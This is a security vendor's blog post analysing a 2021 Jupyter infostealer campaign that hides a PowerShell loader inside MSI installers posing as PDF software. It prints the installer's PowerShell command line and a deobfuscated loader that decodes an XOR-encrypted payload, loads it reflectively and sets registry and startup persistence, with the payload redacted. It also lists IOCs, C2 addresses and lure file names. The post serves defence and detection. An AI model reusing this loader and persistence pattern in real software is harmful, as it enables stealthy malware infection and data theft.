<img height="1" width="1" style="display:none" src="https://www.facebook.com/tr?id=885880844953016&amp;ev=PageView&amp;noscript=1">

New Jupyter Evasive Delivery through MSI Installer

Posted by Nadav Lorber on September 21, 2021

2021 Jupyter  copy 2

Editor's Note: This blog post has been updated as per the request of Advanced Installer. 

Introduction

In 2020, Morphisec introduced the Jupyter infostealer, a .NET attack that primarily targets Chromium, Firefox, and Chrome browser data while also maintaining the additional capabilities of a backdoor. 

Since that time, Jupyter has remained active and highly evasive. It has continued to receive very low to zero detections in the VirusTotal database, maintaining the ability to bypass detection solutions. 

Then, on 8 September 2021, we identified a new delivery chain within Jupyter that passes under the radar of security solutions. Following this discovery, the Morphisec Labs team has been made aware of multiple high-level targets that are under threat from the Jupyter infostealer. We are currently investigating the scope of the campaign.

The blog post that follows outlines the new delivery chain, showcasing how threat actors continue to develop their attacks to become more efficient and evasive.  

Technical Introduction

The attack flow of the new Jupyter infostealer

Figure 1: The attack flow of the new Jupyter infostealer

The MSI Payload

In this section, we will briefly examine some of the payload`s shared attributes in order to get an overview of what indicators to expect. This is based on the six variants that we have observed.

Payload Size and Name

Like previous Jupyter payloads, the size of the MSI payloads is consistently over 100MBs. This allows the payload to thwart online AV scanners.

The naming convention for the payload is:

  • Potential document subjects
  • Words are separated with a dash ‘-’
  • Each word starts with a capital letter

Examples can be found in the IOCs section under the heading  “MSI Payload Names.” 

MSI Third-Party Installer Wizard

The payloads were generated with a trial version of Advanced Installer (version 18.6.1 build 2c9a75c6).

As described on their website, the Advanced Installer wizard is an ‘All-in-one’ application packaging tool. By using this tool, threat actors gain access to the easy implementation of obscured script executions.

Customizing installer PowerShell operations is a legitimate functionality that the attackers misuse, as with other attack chains. This same operation is frequently used as part of legitimate products or services. We advise against flagging any PowerShell scripts originating from Advanced Installer without prior evaluation of the command itself. It is worth noting as well that PowerShell functionalities are also available in other installers.

The attribution can be found either in the file properties (OLE Compound) or in the Installer property table.

Figure 2: OLE Compound File Information

Figure 2: OLE Compound file information

The property table

Figure 3: Property table

Decoy Installation Executable

As seen in Figure 1 above, all of the observed variants are described as Nitro Pro 13. Once the victim runs the MSI payload, it executes a legitimate installation binary of Nitro Pro 13. Correlating this attribution with the variant’s file names suggests that the delivery method disguises it as a PDF.

An image of the Nitro Pro 13 installation

Figure 4: Nitro Pro 13 Installation

While all of the variants are described as Nitro, one of them actually contains SumatraPDF instead.

An installer for Sumatra PDF

Figure 5: Sumatra PDF installation

Digital Signature

Two of the variants are signed with a (currently) valid certificate named ‘TACHOPARTS SP Z O O’.

The Tachoparts certificate that was likely stolen or impersonated

Figure 6: Tachoparts certificate

Based on the following certificate data, we can assume that the threat actor either impersonated the certificate or stole it from a legitimate business in Poland.

image12

Figure 7: Tachoparts' business information from Google

Another variant was signed with a revoked certificate named ‘OOO Sistema’.

The OOO Sistema certificate that was likely stolen or impersonated

Figure 8: OOO Sistema certificate

As with the previous certificate, this one is also correlated with a legitimate business. It also was likely either an impersonation or stolen from the business. 

OOO Sistema's certificate

Figure 9: OOO Sistema business information from Google

The other 2 variants are signed with certificates named:

  • FORMICA Solutions a.s.
  • OOO Ruvents

The PowerShell Execution

The initial suspicious indicator visible in the dynamic analysis is the PowerShell command-line spawned by msiexec.exe.

Command Line

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive
-ExecutionPolicy Bypass

-File 'C:\Users\<USERNAME>\AppData\Local\Temp\pssEA35.ps1'
-propFile 'C:\Users\<USERNAME>\AppData\Local\Temp\msiEA13.txt'
-scriptFile 'C:\Users\<USERNAME>\AppData\Local\Temp\scrEA14.ps1'
-scriptArgsFile 'C:\Users\<USERNAME>\AppData\Local\Temp\scrEA15.txt'
-propSep ' :<->: '
-testPrefix '_testValue.'

Code block 1: CMD Shell command-line

This command-line is generated by a feature in the Advanced Installer that is designed to execute the PowerShell loader as a ‘CustomAction’ attribute defined in MSI Installers.

The file names within the parameters differ between variants but keep the same pattern. For example in ‘scrEA14.ps1’, the EA14 is represented by four hex characters. These four characters are different between the payload variants.

image9

Figure 9: PowerShell loader embedded in the CustomAction within AdvancedInstaller

Jupyter PowerShell loader

The PowerShell file in the -scriptFile parameter presented in Code block 1 represents the Jupyter PowerShell loader.

This loader is very similar to the previous Jupyter loaders in that it keeps a very evasive file with low to 0 detections on VirusTotal, which is rare for a full PowerShell loader (loader code with an embedded payload).

While the Jupyter loaders are widely covered in our and other blogs, the new variant shares the same code pattern. The following code block is an example of a deobfuscated and beautified version of it:

$b64_enc_payload = 'deducted';

$random_path_str = jeiJBgXRTuVfsm;
$payload_directory_path = "$ENV:APPDATA\Microsoft\" + $random_path_str;
$enc_payload_path = $payload_directory_path + '\' + $random_path_str + '.' +
$random_path_str;
[System.IO.File]::WriteAllBytes($enc_payload_path,
[System.Convert]::FromBase64String($b64_enc_payload));

$decode_and_execute_payload_script = 'below code embedded in comment'
'''
    $xor_key = "deducted base64 key";
    $b64_enc_payload = [System.IO.File]::ReadAllBytes($enc_payload_path);
    For ($i = 0; $i -lt $b64_enc_payload.Count;) {
        For ($y = 0; $y -lt $xor_key.Length; $y++) {
            $b64_enc_payload[$i]=$b64_enc_payload[$i] -bxor $xor_key[$y];
            $i++;
            if($i -ge $b64_enc_payload.Count) {
                $y=$xor_key.Length
            }
        }
    };
    [System.Reflection.Assembly]::Load($b64_enc_payload); // Loads ‘interact’ method
'''

Create_Registry_Key -reg_path (“<REG_PATH”>) -execution_command ('Powershell -WindowStyle
Hidden -ep Bypass -Command " + $decode_and_execute_payload_script');
Create_Registry_Key -reg_path (“<REG_PATH”>) -execution_command $random_path_str.ToLower();

$lnk_object = New-Object -ComObject WScript.Shell.CreateShortcut($ENV:APPDATA +
'<Startup_Lnk_Path');
$lnk_object.TargetPath = $payload_directory_path + '\' + $random_path_str;
$lnk_object.WindowStyle = 7;
$lnk_object.Save();

IEX $decode_and_execute_payload_script;

Code block 2: Deobfuscated Jupyter PowerShell loader

Note that like the previous versions, this one also reflectively loads a DLL that initializes execution under the Deimos namespace in the Mars class (Mars.Deimos).

The .NET DLL Payload

In our previous blog, we attributed the payloads to their internal version. The following table correlates the observed internal version and the MSI payload’s first submission date and detections on VirusTotal.

Jupyter DLL Internal Version

VirusTotal first submission

SP-9

08 September 2021
1 / 57 Malicious detections

SP-10

08 September 2021

2 / 57 Malicious detections

SP-11

10 September 2021
0 / 57 Malicious detections

SP-13

13 September 2021
0 / 57 Malicious detections

SP-14

21 September 2021
0 / 57 Malicious detections

SP-16

21 September 2021
0 / 57 Malicious detections

While all of the .NET DLL Payloads should be obfuscated, it appears that the SP-10 variant contains source-code strings. The following figure presents the payload methods and class names.

image3

Conclusion

The evolution of the Jupyter infostealer/backdoor from when we first identified it in 2020 proves the truth of the statement that threat actors are always innovating. That this attack continues to have low or no detections on VirusTotal further indicates the facility with which threat actors evade detection-based solutions. It’s clear that a new approach is required to threat prevention, as it’s likely these evasive attacks will continue.

This is why Morphisec architected its solutions to emphasize deterministic prevention of evasive attacks instead of detection. Customers who leverage the Morphisec Breach Prevention Platform on their endpoints, on-premises servers, and in the cloud can remain confident that they are secure from evasive threats such as the Jupyter infostealer regardless of the detection rate in VirusTotal.

Book a demo of Morphisec Guard

IOCs

MSI Payload Hashes

bc7986f0c9f431b839a13a9a0dfa2711f86e9e9afbed9b9b456066602881ba71
1197067d50dd5dd5af12e715e2cc00c0ba1ff738173928bbcfbbad1ee0a52f21
8e06c31285911c936425921ccf9f20107160174acd602cc7f2dd8ca677e8956d
9e3b4e4948521467216515e92812e5a47fb23f5bcb3a8b1a6014ae2f038c7181
e466158ff4c6da37213dc9e0f05038d05ebead93febf51a5ec3ac6e2b9e3e22d
8447b77cc4b708ed9f68d0d71dd79f5e66fe27fedd081dcc1339b6d35c387725

AdvancedInstaller PowerShell Hash

88748aae11029228d84aef0855f4bc084dfd70450db1f7029746d8bc85182f93

Jupyter PowerShell Loader Hashes

e34af1b6edf33b155ca9854d084577c30e1bc9d96eee10014277a0e55a47beef

f6aa48bc45be3b603a48a5261a28cc75e9c1c2f65aa37bb807b6c1bd80dce05a

8bd8fa4a5500d390d69941cb5d89a568d46d49bc4ac731a6c548b7d8e69625c2

1d90b6c3b59a4287697c81a10ea950bda9326af8b629ef59c8b5bde3a7486683

934cb210db692c3ebcd9ba8d113b1669573a20db79c02a2587a4bead10d8dfeb

Jupyter Payloads

1f034e91613ab7c290d172b87200a000365728f218cbd4491f59d09a20bfd866

8c35f2a78e366abf2450d5882c49c69ee5cc01dba3743938b45cedc2b5dee3a3

1c5082cb7fbd011feb14909320b163b038febed29700568f9a2c7b5a416fad51
2524cea17b8ec62d30a93751fc42cc4e33350caaff5ba9a2327c048b715b2d4a

39b0e2965daf855fbd25facbdd0dcb84e3a2103d0ac37699b27284dd918dfcb7

8bcf6506b21f67641fa753d7328d3c1045541f84bc62bbe43d485f38e3d5e3ae

C2 IPs

37.120.237[.]251

45.42.201[.]248

MSI Payload Names

Metlife-Disability-Waiver-Of-Premium-Benefit-Rider.msi
Medical-Engagement-Scale-Questionnaire.msi
Due-Diligence-Checklist-For-Oil-And-Gas-Properties.msi
Non-Renewal-Of-Lease-Letter-To-Landlord-From-Tenant.msi
Fedex-Tracking-By-Shipper-Receipt.msi
Christian-Doctrine-Clauses-List.msi
Omnicell-Cabinet-User-Manual.msi
Wells-Fargo-Subpoena-Processing-Department-Phoenix-Az.msi
Bulgarian Power Burst Training pdf.msiapp.msi

 

Subscribe to our blog

Stay in the loop with industry insight, cyber security trends, and cyber attack information and company updates.

New call-to-action

Search Our Site

    Recent Posts

    Posts by Tag

    See all